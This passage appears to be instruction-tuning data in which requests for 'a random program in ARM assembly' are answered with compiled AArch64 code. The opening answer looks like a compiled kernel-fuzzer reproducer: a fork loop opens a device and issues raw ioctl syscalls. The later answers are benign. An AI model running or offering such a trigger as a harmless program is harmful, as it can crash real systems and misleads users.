.L95:
mov w2, 1073741824
ldr x1, [sp, 16]
mov w0, -1
bl waitpid
mov w1, w0
ldr w0, [sp, 28]
cmp w0, w1
bne .L95
b .L82
.L97:
nop
.L82:
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 360]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L96
bl __stack_chk_fail
.L96:
ldp x29, x30, [sp], 368
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE20:
.size kill_and_wait, .-kill_and_wait
.section .rodata
.align 3
.LC13:
.string "1000"
.align 3
.LC14:
.string "/proc/self/oom_score_adj"
.text
.align 2
.type setup_test, %function
setup_test:
.LFB21:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
mov w4, 0
mov w3, 0
mov w2, 0
mov w1, 9
mov w0, 1
bl prctl
bl setpgrp
adrp x0, .LC13
add x1, x0, :lo12:.LC13
adrp x0, .LC14
add x0, x0, :lo12:.LC14
bl write_file
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE21:
.size setup_test, .-setup_test
.align 2
.type loop, %function
loop:
.LFB22:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
str wzr, [sp, 24]
.L110:
bl fork
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
bge .L103
mov w0, 1
bl exit
.L103:
ldr w0, [sp, 28]
cmp w0, 0
bne .L104
bl setup_test
bl execute_one
mov w0, 0
bl exit
.L104:
str wzr, [sp, 20]
bl current_time_ms
str x0, [sp, 32]
.L109:
add x0, sp, 20
mov w2, 1
movk w2, 0x4000, lsl 16
mov x1, x0
mov w0, -1
bl waitpid
mov w1, w0
ldr w0, [sp, 28]
cmp w0, w1
beq .L113
mov x0, 1
bl sleep_ms
bl current_time_ms
mov x1, x0
ldr x0, [sp, 32]
sub x1, x1, x0
mov x0, 4999
cmp x1, x0
bls .L114
add x0, sp, 20
mov x1, x0
ldr w0, [sp, 28]
bl kill_and_wait
b .L106
.L114:
nop
b .L109
.L113:
nop
.L106:
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
b .L110
.cfi_endproc
.LFE22:
.size loop, .-loop
.global r
.data
.align 3
.type r, %object
.size r, 8
r:
.xword -1
.text
.align 2
.type execute_one, %function
execute_one:
.LFB23:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str xzr, [sp, 24]
mov x2, 1
mov x1, 4
mov x0, 12
bl syz_open_dev
str x0, [sp, 24]
ldr x0, [sp, 24]
cmn x0, #1
beq .L116
ldr x1, [sp, 24]
adrp x0, r
add x0, x0, :lo12:r
str x1, [x0]
.L116:
mov x0, 536870912
mov w1, 2
strb w1, [x0]
mov x0, 1
movk x0, 0x2000, lsl 16
strh wzr, [x0]
mov x0, 3
movk x0, 0x2000, lsl 16
mov w1, 2
strh w1, [x0]
mov x0, 5
movk x0, 0x2000, lsl 16
strh wzr, [x0]
mov x0, 7
movk x0, 0x2000, lsl 16
strh wzr, [x0]
mov x0, 9
movk x0, 0x2000, lsl 16
strh wzr, [x0]
adrp x0, r
add x0, x0, :lo12:r
ldr x0, [x0]
mov x3, 536870912
mov x2, 21532
mov x1, x0
mov x0, 29
bl syscall
mov x0, 128
movk x0, 0x2000, lsl 16
mov w1, 3
strb w1, [x0]
adrp x0, r
add x0, x0, :lo12:r
ldr x0, [x0]
mov x3, 128
movk x3, 0x2000, lsl 16
mov x2, 21532
mov x1, x0
mov x0, 29
bl syscall
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE23:
.size execute_one, .-execute_one
.align 2
.global main
.type main, %function
main:
.LFB24:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
mov w6, 0
mov w5, -1
mov x4, 50
mov x3, 3
mov x2, 16777216
mov x1, 536870912
mov x0, 222
bl syscall
bl loop
mov w0, 0
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE24:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
mov w0, 80
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global set1
.bss
.align 3
.type set1, %object
.size set1, 16
set1:
.zero 16
.global set2
.align 3
.type set2, %object
.size set2, 16
set2:
.zero 16
.section .rodata
.align 3
.LC0:
.string "%d"
.align 3
.LC1:
.string " %d "
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -208]!
.cfi_def_cfa_offset 208
.cfi_offset 29, -208
.cfi_offset 30, -200
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 200]
mov x1, 0
adrp x0, set1
add x1, x0, :lo12:set1
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
str wzr, [sp, 16]
b .L2
.L3:
add x1, sp, 40
ldrsw x0, [sp, 16]
lsl x0, x0, 2
add x0, x1, x0
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L2:
adrp x0, set1
add x0, x0, :lo12:set1
ldr w0, [x0]
ldr w1, [sp, 16]
cmp w1, w0
blt .L3
adrp x0, set2
add x1, x0, :lo12:set2
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
str wzr, [sp, 16]
b .L4
.L5:
add x1, sp, 120
ldrsw x0, [sp, 16]
lsl x0, x0, 2
add x0, x1, x0
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L4:
adrp x0, set2
add x0, x0, :lo12:set2
ldr w0, [x0]
ldr w1, [sp, 16]
cmp w1, w0
blt .L5
str wzr, [sp, 16]
b .L6
.L10:
str wzr, [sp, 20]
b .L7
.L9:
ldrsw x0, [sp, 16]
lsl x0, x0, 2
add x1, sp, 40
ldr w1, [x1, x0]
ldrsw x0, [sp, 20]
lsl x0, x0, 2
add x2, sp, 120
ldr w0, [x2, x0]
cmp w1, w0
bne .L8
ldrsw x0, [sp, 16]
lsl x0, x0, 2
add x1, sp, 40
ldr w0, [x1, x0]
mov w1, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
.L8:
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L7:
adrp x0, set2
add x0, x0, :lo12:set2
ldr w0, [x0]
ldr w1, [sp, 20]
cmp w1, w0
blt .L9
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L6:
adrp x0, set1
add x0, x0, :lo12:set1
ldr w0, [x0]
ldr w1, [sp, 16]
cmp w1, w0
blt .L10
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 200]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L12
bl __stack_chk_fail
.L12:
mov w0, w1
ldp x29, x30, [sp], 208
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "unknown colour "
.align 3
.LC1:
.string "Red "
.align 3
.LC2:
.string "Green "
.align 3
.LC3:
.string "Blue"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
mov w0, 102
strb w0, [sp, 31]
ldrb w0, [sp, 31]
sub w0, w0, #66
cmp w0, 48
cset w1, hi
and w1, w1, 255
cmp w1, 0
bne .L2
mov x1, 1
lsl x0, x1, x0
and x1, x0, 4294967297
cmp x1, 0
cset w1, ne
and w1, w1, 255
cmp w1, 0
bne .L3
and x1, x0, 137438953504
cmp x1, 0
cset w1, ne
and w1, w1, 255
cmp w1, 0
bne .L4
and x0, x0, 281474976776192
cmp x0, 0
cset w0, ne
and w0, w0, 255
cmp w0, 0
bne .L5
.L2:
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
.L5:
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
.L4:
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
.L3:
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Hello world."
.text
.align 2
.global hello
.type hello, %function
hello:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size hello, .-hello
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl hello
mov w0, 0
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global st
.bss
.align 3
.type st, %object
.size st, 402080004
st:
.zero 402080004
.text
.align 2
.global verify
.type verify, %function
verify:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str x2, [sp, 24]
ldrsw x1, [sp, 36]
mov x0, 40208
mul x1, x1, x0
adrp x0, st
add x0, x0, :lo12:st
add x0, x1, x0
ldr x1, [sp, 40]
bl strcpy
ldrsw x1, [sp, 36]
mov x0, 40208
mul x0, x1, x0
add x1, x0, 96
adrp x0, st
add x0, x0, :lo12:st
add x0, x1, x0
add x0, x0, 4
ldr x1, [sp, 24]
bl strcpy
adrp x0, st
add x1, x0, :lo12:st
ldrsw x2, [sp, 36]
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
str wzr, [x0, 204]
adrp x0, st
add x1, x0, :lo12:st
ldrsw x2, [sp, 36]
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
str wzr, [x0, 208]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w0, [x0, 256]
add w1, w0, 1
adrp x0, st
add x2, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x2, x0
str w1, [x0, 256]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w1, [x0, 256]
adrp x0, st
add x2, x0, :lo12:st
ldrsw x3, [sp, 36]
mov x0, 40208
mul x0, x3, x0
add x0, x2, x0
str w1, [x0, 200]
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size verify, .-verify
.section .rodata
.align 3
.LC7:
.string "KEYWORD"
.align 3
.LC8:
.string "ARITHMETIC OPERATOR"
.align 3
.LC9:
.string "RELATIONAL OPERATOR"
.align 3
.LC10:
.string "CONDITIONAL OPERATOR"
.align 3
.LC11:
.string "ASSIGNMENT OPERATOR"
.align 3
.LC12:
.string "INC-DEC OPERATOR"
.align 3
.LC13:
.string "PUNCTUATION SYMBOL"
.text
.align 2
.global valid_tokens
.type valid_tokens, %function
valid_tokens:
.LFB7:
.cfi_startproc
sub sp, sp, #1136
.cfi_def_cfa_offset 1136
stp x29, x30, [sp]
.cfi_offset 29, -1136
.cfi_offset 30, -1128
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1128]
mov x1, 0
adrp x0, .LC0
add x1, x0, :lo12:.LC0
add x0, sp, 488
mov x3, x1
mov x1, 640
mov x2, x1
mov x1, x3
bl memcpy
adrp x0, .LC1
add x1, x0, :lo12:.LC1
add x0, sp, 160
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldp q0, q1, [x1, 32]
stp q0, q1, [x0, 32]
ldp q0, q1, [x1, 64]
stp q0, q1, [x0, 64]
ldr w1, [x1, 96]
str w1, [x0, 96]
adrp x0, .LC2
add x1, x0, :lo12:.LC2
add x0, sp, 368
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldp q0, q1, [x1, 32]
stp q0, q1, [x0, 32]
ldp q0, q1, [x1, 64]
stp q0, q1, [x0, 64]
ldr q0, [x1, 96]
str q0, [x0, 96]
ldr x1, [x1, 112]
str x1, [x0, 112]
adrp x0, .LC3
add x1, x0, :lo12:.LC3
add x0, sp, 96
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr q0, [x1, 32]
str q0, [x0, 32]
ldr q0, [x1, 44]
str q0, [x0, 44]
adrp x0, .LC4
add x0, x0, :lo12:.LC4
add x2, sp, 32
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr w0, [x3, 16]
str w0, [x2, 16]
adrp x0, .LC5
add x1, x0, :lo12:.LC5
add x0, sp, 56
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr x1, [x1, 32]
str x1, [x0, 32]
adrp x0, .LC6
add x1, x0, :lo12:.LC6
add x0, sp, 264
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldp q0, q1, [x1, 32]
stp q0, q1, [x0, 32]
ldp q0, q1, [x1, 64]
stp q0, q1, [x0, 64]
ldr w1, [x1, 96]
str w1, [x0, 96]
str wzr, [sp, 24]
str wzr, [sp, 28]
b .L3
.L4:
add x2, sp, 488
ldrsw x1, [sp, 28]
mov x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 2
add x3, x2, x0
adrp x0, .LC7
add x2, x0, :lo12:.LC7
ldr w1, [sp, 24]
mov x0, x3
bl verify
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L3:
ldr w0, [sp, 28]
cmp w0, 31
bls .L4
str wzr, [sp, 28]
b .L5
.L6:
add x2, sp, 160
ldrsw x1, [sp, 28]
mov x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 2
add x3, x2, x0
adrp x0, .LC8
add x2, x0, :lo12:.LC8
ldr w1, [sp, 24]
mov x0, x3
bl verify
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L5:
ldr w0, [sp, 28]
cmp w0, 4
bls .L6
str wzr, [sp, 28]
b .L7
.L8:
add x2, sp, 368
ldrsw x1, [sp, 28]
mov x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 2
add x3, x2, x0
adrp x0, .LC9
add x2, x0, :lo12:.LC9
ldr w1, [sp, 24]
mov x0, x3
bl verify
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L7:
ldr w0, [sp, 28]
cmp w0, 5
bls .L8
str wzr, [sp, 28]
b .L9
.L10:
add x2, sp, 96
ldrsw x1, [sp, 28]
mov x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 2
add x3, x2, x0
adrp x0, .LC10
add x2, x0, :lo12:.LC10
ldr w1, [sp, 24]
mov x0, x3
bl verify
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L9:
ldr w0, [sp, 28]
cmp w0, 2
bls .L10
str wzr, [sp, 28]
b .L11
.L12:
add x2, sp, 32
ldrsw x1, [sp, 28]
mov x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 2
add x3, x2, x0
adrp x0, .LC11
add x2, x0, :lo12:.LC11
ldr w1, [sp, 24]
mov x0, x3
bl verify
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L11:
ldr w0, [sp, 28]
cmp w0, 0
beq .L12
str wzr, [sp, 28]
b .L13
.L14:
add x2, sp, 56
ldrsw x1, [sp, 28]
mov x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 2
add x3, x2, x0
adrp x0, .LC12
add x2, x0, :lo12:.LC12
ldr w1, [sp, 24]
mov x0, x3
bl verify
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L13:
ldr w0, [sp, 28]
cmp w0, 1
bls .L14
str wzr, [sp, 28]
b .L15
.L16:
add x2, sp, 264
ldrsw x1, [sp, 28]
mov x0, x1
lsl x0, x0, 2
add x0, x0, x1
lsl x0, x0, 2
add x3, x2, x0
adrp x0, .LC13
add x2, x0, :lo12:.LC13
ldr w1, [sp, 24]
mov x0, x3
bl verify
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L15:
ldr w0, [sp, 28]
cmp w0, 4
bls .L16
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 1128]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L17
bl __stack_chk_fail
.L17:
ldp x29, x30, [sp]
add sp, sp, 1136
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size valid_tokens, .-valid_tokens
.section .rodata
.align 3
.LC0:
.string "auto"
.zero 15
.string "extern"
.zero 13
.string "sizeof"
.zero 13
.string "break"
.zero 14
.string "float"
.zero 14
.string "static"
.zero 13
.string "case"
.zero 15
.string "for"
.zero 16
.string "struct"
.zero 13
.string "char"
.zero 15
.string "goto"
.zero 15
.string "switch"
.zero 13
.string "const"
.zero 14
.string "if"
.zero 17
.string "typedef"
.zero 12
.string "continue"
.zero 11
.string "int"
.zero 16
.string "union"
.zero 14
.string "default"
.zero 12
.string "long"
.zero 15
.string "unsigned"
.zero 11
.string "do"
.zero 17
.string "register"
.zero 11
.string "void"
.zero 15
.string "return"
.zero 13
.string "double"
.zero 13
.string "volatile"
.zero 11
.string "else"
.zero 15
.string "short"
.zero 14
.string "while"
.zero 14
.string "enum"
.zero 15
.string "signed"
.zero 13
.align 3
.LC1:
.string "+"
.zero 18
.string "-"
.zero 18
.string "*"
.zero 18
.string "/"
.zero 18
.string "%"
.zero 18
.align 3
.LC2:
.string "<"
.zero 18
.string ">"
.zero 18
.string ">="
.zero 17
.string "<="
.zero 17
.string "=="
.zero 17
.string "!="
.zero 17
.align 3
.LC3:
.string "&&"
.zero 17
.string "||"
.zero 17
.string "!"
.zero 18
.align 3
.LC4:
.string "="
.zero 18
.align 3
.LC5:
.string "++"
.zero 17
.string "--"
.zero 17
.align 3
.LC6:
.string "{"
.zero 18
.string ","
.zero 18
.string ";"
.zero 18
.string "}"
.zero 18
.string " "
.zero 18
.text
.section .rodata
.align 3
.LC14:
.string "IDENTIFIER"
.text
.align 2
.global check
.type check, %function
check:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -48
str x0, [sp, 40]
str w1, [sp, 36]
str wzr, [sp, 60]
str wzr, [sp, 56]
b .L19
.L22:
ldrsw x1, [sp, 56]
mov x0, 40208
mul x1, x1, x0
adrp x0, st
add x0, x0, :lo12:st
add x0, x1, x0
mov x1, x0
ldr x0, [sp, 40]
bl strcmp
cmp w0, 0
beq .L34
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L19:
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w0, [x0, 256]
ldr w1, [sp, 56]
cmp w1, w0
blt .L22
b .L21
.L34:
nop
.L21:
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w0, [x0, 256]
ldr w1, [sp, 56]
cmp w1, w0
beq .L23
adrp x0, st
add x1, x0, :lo12:st
ldrsw x2, [sp, 56]
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
ldr w1, [x0, 204]
adrp x0, st
add x0, x0, :lo12:st
sxtw x1, w1
ldrsw x3, [sp, 56]
mov x2, 10052
mul x2, x3, x2
add x1, x2, x1
add x1, x1, 52
ldr w2, [sp, 36]
str w2, [x0, x1, lsl 2]
adrp x0, st
add x1, x0, :lo12:st
ldrsw x2, [sp, 56]
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
ldr w0, [x0, 204]
add w1, w0, 1
adrp x0, st
add x2, x0, :lo12:st
ldrsw x3, [sp, 56]
mov x0, 40208
mul x0, x3, x0
add x0, x2, x0
str w1, [x0, 204]
b .L35
.L23:
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 47
bls .L25
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 57
bls .L26
.L25:
str wzr, [sp, 56]
b .L27
.L33:
ldrsw x0, [sp, 56]
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 64
bls .L28
ldrsw x0, [sp, 56]
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 90
bls .L29
.L28:
ldrsw x0, [sp, 56]
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 96
bls .L30
ldrsw x0, [sp, 56]
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 122
bls .L29
.L30:
ldrsw x0, [sp, 56]
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 95
beq .L29
ldrsw x0, [sp, 56]
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 47
bls .L31
ldrsw x0, [sp, 56]
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 57
bhi .L31
.L29:
mov w0, 1
str w0, [sp, 60]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
b .L27
.L31:
str wzr, [sp, 60]
b .L32
.L27:
ldrsw x19, [sp, 56]
ldr x0, [sp, 40]
bl strlen
cmp x19, x0
bcc .L33
.L32:
ldr w0, [sp, 60]
cmp w0, 0
beq .L26
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w0, [x0, 256]
sxtw x1, w0
mov x0, 40208
mul x1, x1, x0
adrp x0, st
add x0, x0, :lo12:st
add x0, x1, x0
ldr x1, [sp, 40]
bl strcpy
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w0, [x0, 256]
sxtw x1, w0
mov x0, 40208
mul x0, x1, x0
add x1, x0, 96
adrp x0, st
add x0, x0, :lo12:st
add x0, x1, x0
add x2, x0, 4
adrp x0, .LC14
add x1, x0, :lo12:.LC14
mov x0, x2
ldr x2, [x1]
str x2, [x0]
ldr w1, [x1, 7]
str w1, [x0, 7]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w2, [x0, 256]
adrp x0, st
add x1, x0, :lo12:st
sxtw x2, w2
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
ldr w1, [sp, 36]
str w1, [x0, 208]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w2, [x0, 256]
adrp x0, st
add x1, x0, :lo12:st
sxtw x2, w2
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
mov w1, 1
str w1, [x0, 204]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w3, [x0, 256]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w1, [x0, 256]
adrp x0, st
add x2, x0, :lo12:st
sxtw x3, w3
mov x0, 40208
mul x0, x3, x0
add x0, x2, x0
str w1, [x0, 200]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w0, [x0, 256]
add w1, w0, 1
adrp x0, st
add x2, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x2, x0
str w1, [x0, 256]
.L26:
ldr w0, [sp, 60]
cmp w0, 0
bne .L35
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w0, [x0, 256]
sxtw x1, w0
mov x0, 40208
mul x1, x1, x0
adrp x0, st
add x0, x0, :lo12:st
add x0, x1, x0
ldr x1, [sp, 40]
bl strcpy
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w0, [x0, 256]
sxtw x1, w0
mov x0, 40208
mul x0, x1, x0
add x1, x0, 96
adrp x0, st
add x0, x0, :lo12:st
add x0, x1, x0
add x0, x0, 4
mov x1, 20041
movk x1, 0x4156, lsl 16
movk x1, 0x494c, lsl 32
movk x1, 0x44, lsl 48
str x1, [x0]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w2, [x0, 256]
adrp x0, st
add x1, x0, :lo12:st
sxtw x2, w2
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
ldr w1, [sp, 36]
str w1, [x0, 208]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w2, [x0, 256]
adrp x0, st
add x1, x0, :lo12:st
sxtw x2, w2
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
mov w1, 1
str w1, [x0, 204]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w3, [x0, 256]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w1, [x0, 256]
adrp x0, st
add x2, x0, :lo12:st
sxtw x3, w3
mov x0, 40208
mul x0, x3, x0
add x0, x2, x0
str w1, [x0, 200]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w0, [x0, 256]
add w1, w0, 1
adrp x0, st
add x2, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x2, x0
str w1, [x0, 256]
.L35:
nop
ldr x19, [sp, 16]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size check, .-check
.align 2
.global other
.type other, %function
other:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
strb w0, [sp, 31]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
adrp x0, .LC15
add x1, x0, :lo12:.LC15
add x0, sp, 40
ldr x2, [x1]
str x2, [x0]
ldr w1, [x1, 7]
str w1, [x0, 7]
str wzr, [sp, 36]
b .L37
.L40:
ldrsw x0, [sp, 36]
add x1, sp, 40
ldrb w0, [x1, x0]
ldrb w1, [sp, 31]
cmp w1, w0
bne .L38
mov w0, 1
b .L41
.L38:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L37:
ldr w0, [sp, 36]
cmp w0, 10
bls .L40
mov w0, 0
.L41:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
